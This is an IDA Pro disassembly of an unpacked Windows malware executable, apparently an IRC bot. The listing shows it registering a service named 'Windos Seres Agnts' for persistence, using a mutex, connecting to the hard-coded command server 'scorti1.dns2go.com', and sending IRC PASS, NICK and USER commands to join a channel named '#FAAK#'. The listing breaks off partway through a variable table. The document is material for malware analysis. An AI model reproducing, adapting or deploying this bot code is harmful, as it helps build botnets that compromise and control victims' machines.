;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6F4C619831AA11418F3B1391E1EA809E

; File Name   :	u:\work\6f4c619831aa11418f3b1391e1ea809e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680A92h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 26709E4h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aSaadfgh	; "saadfgh"
		push	ebx
		push	ebx
		call	near ptr 26A01EFh
		nop
		push	eax
		nop
		call	near ptr 26A0168h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680A92h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0000h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2690E7Eh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2690D47h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 269086Bh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2680EF8h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2690D47h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 269081Fh
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26902E0h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26709E4h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2680EF8h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A0168h
		push	esi
		nop
		call	near ptr 2670770h
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680EF8h
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		nop
		call	near ptr 26901EBh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680EF8h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680EF8h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		call	near ptr 2680EF8h
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
